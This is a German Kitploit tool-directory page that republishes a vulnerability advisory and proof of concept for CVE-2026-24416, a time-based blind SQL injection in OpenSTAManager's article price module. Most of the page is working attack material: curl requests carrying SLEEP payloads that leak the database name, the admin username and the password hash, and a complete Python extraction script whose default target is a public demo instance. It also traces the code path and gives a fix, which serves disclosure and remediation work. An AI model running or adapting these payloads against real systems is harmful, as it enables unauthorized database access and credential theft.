Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-24416 — CVE-2026-24416 - OpenSTAManager hat eine zeitbasierte blinde SQL-Injection im Artikelpreismodul | Kitploit
Tools/GitHubGitHub/lukasz-rybak/cve-2026-24416
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHublukasz-rybak/cve-2026-24416

CVE-2026-24416

CVE-2026-24416 - OpenSTAManager hat eine zeitbasierte blinde SQL-Injection im Artikelpreismodul

Repository anzeigen
2vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-24416: OpenSTAManager hat eine zeitbasierte Blind-SQL-Injection im Artikelpreismodul

Übersicht

FeldDetails
CVE-IDCVE-2026-24416
SchweregradHOCH
AdvisoryAdvisory anzeigen
Entdeckt vonLukasz Rybak

Betroffene Produkte

  • devcode-it/openstamanager (Versionen: <= 2.9.8)

CWE-Klassifizierung

  • CWE-89: Fehlerhafte Neutralisierung von speziellen Elementen, die in einem SQL-Befehl verwendet werden ('SQL Injection')

Details

Zusammenfassung

Kritische zeitbasierte Blind-SQL-Injection-Schwachstelle im Artikelpreismodul von OpenSTAManager v2.9.8, die es authentifizierten Angreifern ermöglicht, vollständige Datenbankinhalte einschließlich Benutzeranmeldedaten, Kundendaten und Finanzunterlagen durch zeitbasierte Boolesche Inferenzangriffe zu extrahieren.

Status: ✅ Bestätigt und getestet auf einer Live-Instanz (v2.9.8) und demo.osmbusiness.it (v2.9.7) Angreifbarer Parameter: idarticolo (GET) Betroffener Endpunkt: /ajax_complete.php?op=getprezzi Betroffenes Modul: Articoli (Artikel/Produkte)

Details

OpenSTAManager v2.9.8 enthält eine kritische zeitbasierte Blind-SQL-Injection-Schwachstelle im Vervollständigungs-Handler für Artikelpreise. Die Anwendung versäumt es, den Parameter idarticolo vor der Verwendung in SQL-Abfragen ordnungsgemäß zu bereinigen, sodass Angreifer beliebige SQL-Befehle einschleusen und sensible Daten durch zeitbasierte Boolesche Inferenz extrahieren können.

Angriffskette:

  1. Einstiegspunkt: /ajax_complete.php (Zeile 27)

    root@kitploit:~
    $op = get('op');
    $result = AJAX::complete($op);
    

    Der Parameter op wird abgerufen, die Schwachstelle liegt jedoch in anderen Parametern.

  2. Weiterleitung: /src/AJAX.php::complete() (Zeile 189)

    root@kitploit:~
    $result = self::getCompleteResults($file, $resource);
    
  3. Ausführung: /src/AJAX.php::getCompleteResults() (Zeile 402)

    root@kitploit:~
    require $file;
    

    Modulspezifische complete.php-Dateien werden eingebunden.

  4. Angreifbarer Parameter: /modules/articoli/ajax/complete.php (Zeile 26)

    root@kitploit:~
    $idarticolo = get('idarticolo');
    

    Der Parameter idarticolo wird aus der GET-Anfrage abgerufen.

  5. Angreifbare SQL-Abfrage: /modules/articoli/ajax/complete.php (Zeile 70) PRIMÄRE SCHWACHSTELLE

    root@kitploit:~
    FROM
        `dt_righe_ddt`
        INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
        INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
    WHERE
        `idarticolo`='.$idarticolo.' AND
        `dt_tipiddt`.`dir`="entrata" AND
        `idanagrafica`='.prepare($idanagrafica).'
    

    Auswirkung: Direkte Verkettung von $idarticolo ohne prepare(), während $idanagrafica ordnungsgemäß bereinigt wird.

Kontext - Vollständige Abfragestruktur (Zeilen 39-74):

Die angreifbare Abfrage ist Teil einer UNION-Abfrage, die Preishistorie aus Rechnungen und Lieferscheinen abruft:

root@kitploit:~
$documenti = $dbo->fetchArray('
    SELECT
        `iddocumento` AS id,
        "Fattura" AS tipo,
        "Fatture di vendita" AS modulo,
        (`subtotale`-`sconto`)/`qta` AS costo_unitario,
        ...
    FROM
        `co_righe_documenti`
        INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
        INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
    WHERE
        `idarticolo`='.prepare($idarticolo).' AND ...  # ✓ ORDNUNGSGEMÄSS BEREINIGT (Zeile 54)
UNION
    SELECT
        `idddt` AS id,
        "Ddt" AS tipo,
        ...
    FROM
        `dt_righe_ddt`
        INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
        INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
    WHERE
        `idarticolo`='.$idarticolo.' AND   # ✗ ANGREIFBAR - KEIN prepare() (Zeile 70)
        `dt_tipiddt`.`dir`="entrata" AND
        `idanagrafica`='.prepare($idanagrafica).'
ORDER BY
    `id` DESC LIMIT 0,5');

Grundursache: Der Entwickler verwendete prepare() korrekt im ersten SELECT (Zeile 54), vergaß es jedoch im zweiten SELECT der UNION-Abfrage (Zeile 70), wodurch ein inkonsistentes Sicherheitsmuster entstand.

PoC

Schritt 1: Anmelden

root@kitploit:~
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Schritt 2: Schwachstelle verifizieren (Zeitbasierter SLEEP)

root@kitploit:~
# Test mit SLEEP(10)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
  > /dev/null
# Ergebnis: real 0m10.32s (10,32 Sekunden)

# Test mit SLEEP(3) - sollte ~3 Sekunden dauern
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
  > /dev/null
# Ergebnis: real 0m3.36s (3,36 Sekunden)

# Test ohne SLEEP
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
  > /dev/null
# Ergebnis: real 0m0.31s (0,31 Sekunden)
image

Schritt 3: Datenextraktion - Datenbankname

root@kitploit:~
# Erstes Zeichen des Datenbanknamens extrahieren
# Testen, ob erstes Zeichen 'o' ist (erwartet: TRUE für 'openstamanager')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Ergebnis: real 0m2.34s (SLEEP ausgeführt - Bedingung TRUE)

# Testen, ob erstes Zeichen 'x' ist (erwartet: FALSE)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Ergebnis: real 0m0.31s (SLEEP nicht ausgeführt - Bedingung FALSE)

# Zweites Zeichen extrahieren (erwartet: 'p')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Ergebnis: real 0m2.34s (SLEEP ausgeführt - bestätigt zweites Zeichen ist 'p')

# Ersten 3 Zeichen extrahieren (erwartet: 'ope')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Ergebnis: real 0m2.33s (SLEEP ausgeführt - bestätigt 'ope...')

Schritt 4: Sensible Daten extrahieren - Admin-Anmeldedaten

root@kitploit:~
# Admin-Benutzernamen extrahieren (testen, ob erste 5 Zeichen 'admin' sind)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Ergebnis: real 0m2.33s (SLEEP ausgeführt - bestätigt Admin-Benutzernamen)

# Erstes Zeichen des Passwort-Hashes extrahieren (erwartet: '$' für bcrypt)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Ergebnis: real 0m2.33s (SLEEP ausgeführt - bestätigt bcrypt-Hash-Format)

Payload-Erklärung:

root@kitploit:~
Ursprünglicher Payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL-kodiert: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)

Injektion im Detail:
1. 1 - Gültige Artikel-ID
2. AND SUBSTRING(DATABASE(),1,1)='o' - Boolesche Bedingung zum Testen
3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Führe SLEEP(2) aus, wenn Bedingung wahr ist

SQL-Abfrageergebnis:
WHERE
    `idarticolo`=1
    AND SUBSTRING(DATABASE(),1,1)='o'
    AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
    AND `dt_tipiddt`.`dir`="entrata"
    AND `idanagrafica`=1

Beispiel für automatisiertes Extraktionsskript:

root@kitploit:~
import requests
import time
import string
import sys

# Standardkonfiguration
BASE_URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP_TIME = 3  # Auf 3s erhöht für Stabilität auf der entfernten Demo-Instanz

def login(session, base_url, user, pwd):
    """Authentifiziert bei der Anwendung und hält die Sitzung aufrecht."""
    login_url = f"{base_url}/index.php?op=login"
    data = {"username": user, "password": pwd}
    
    print(f"[*] Versuche Anmeldung bei: {login_url}...")
    try:
        response = session.post(login_url, data=data, timeout=10)
        # Prüfen, ob die Anmeldung erfolgreich war (normalerweise durch Vorhandensein eines Logout-Links oder Weiterleitung)
        if "logout" in response.text.lower() or response.status_code == 200:
            print("[+] Anmeldung erfolgreich!")
            return True
        else:
            print("[-] Anmeldung fehlgeschlagen. Bitte Anmeldedaten überprüfen.")
            return False
    except Exception as e:
        print(f"[!] Verbindungsfehler: {e}")
        return False

def extract_data(session, base_url, sql_query, label="Daten"):
    """Extrahiert Daten zeichenweise, bis das Ende der Zeichenfolge erreicht ist."""
    print(f"\n[*] Extrahiere: {label}...")
    result = ""
    position = 1
    target_endpoint = f"{base_url}/ajax_complete.php"
    
    # Zeichensatz optimiert für Datenbanknamen und bcrypt-Hashes ($, ., /)
    charset = string.ascii_letters + string.digits + "$./" + string.punctuation

    while True:
        found_char = False
        for char in charset:
            # Payload: Wenn die Bedingung wahr ist, schläft der Server für SLEEP_TIME
            # Verwendung von ORD() und SUBSTRING() zur sicheren Handhabung verschiedener Zeichentypen
            payload = f"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)"
            
            params = {
                "op": "getprezzi",
                "idanagrafica": "1",
                "idarticolo": payload
            }

            try:
                start_time = time.time()
                session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10)
                elapsed = time.time() - start_time

                if elapsed >= SLEEP_TIME:
                    result += char
                    found_char = True
                    sys.stdout.write(f"\r[+] {label} [{position}]: {result}")
                    sys.stdout.flush()
                    break
            except requests.exceptions.RequestException:
                # Netzwerk-Jitter/Timeouts behandeln, indem wir wiederholen oder fortsetzen
                continue

        # Wenn kein Zeichen aus dem Zeichensatz einen Schlaf ausgelöst hat, haben wir das Ende der Daten erreicht
        if not found_char:
            print(f"\n[!] Ende der Zeichenfolge oder keine Daten an Position {position} gefunden.")
            break
            
        position += 1
        
    return result

def main():
    s = requests.Session()
    
    # Ziel-URL als Befehlszeilenargument übergeben
    target = sys.argv[1] if len(sys.argv) > 1 else BASE_URL
    
    if login(s, target, USERNAME, PASSWORD):
        # 1. Datenbanknamen extrahieren
        db = extract_data(s, target, "SELECT DATABASE()", "Datenbankname")
        
        # 2. Admin-Benutzernamen extrahieren
        user = extract_data(s, target, "SELECT username FROM zz_users WHERE id=1", "Admin-Benutzername (id=1)")
        
        # 3. Passwort-Hash extrahieren (Bcrypt-Hashes sind ~60 Zeichen; die Schleife erledigt das automatisch)
        pwd_hash = extract_data(s, target, "SELECT password FROM zz_users WHERE id=1", "Passwort-Hash")

        print(f"\n\n{'='*35}")
        print(f("         ABSCHLUSSBERICHT"))
        print(f("{'='*35}"))
        print(f("Ziel-URL: {target}"))
        print(f("Datenbank:   {db}"))
        print(f("Benutzername:   {user}"))
        print(f("Hash:       {pwd_hash}"))
        print(f("{'='*35}"))

if __name__ == "__main__":
    main()
image

Auswirkungen

Betroffene Benutzer: Alle authentifizierten Benutzer mit Zugriff auf die Artikelpreisfunktionalität (typischerweise Benutzer, die Angebote, Rechnungen, Bestellungen verwalten).

Empfohlener Fix:

Datei: /modules/articoli/ajax/complete.php

VORHER (Angreifbar - Zeile 70):

root@kitploit:~
WHERE
    `idarticolo`='.$idarticolo.' AND
    `dt_tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'

NACHHER (Behoben):

root@kitploit:~
WHERE
    `idarticolo`='.prepare($idarticolo).' AND
    `dt_tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'

Credits

Entdeckt von Łukasz Rybak

Referenzen

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-p864-fqgv-92q4
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24416
  • https://github.com/advisories/GHSA-p864-fqgv-92q4

Haftungsausschluss

Diese CVE wurde gemäß den Praktiken der koordinierten Offenlegung von Schwachstellen verantwortungsvoll gemeldet. Die hier bereitgestellten Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken.

Tool herunterladen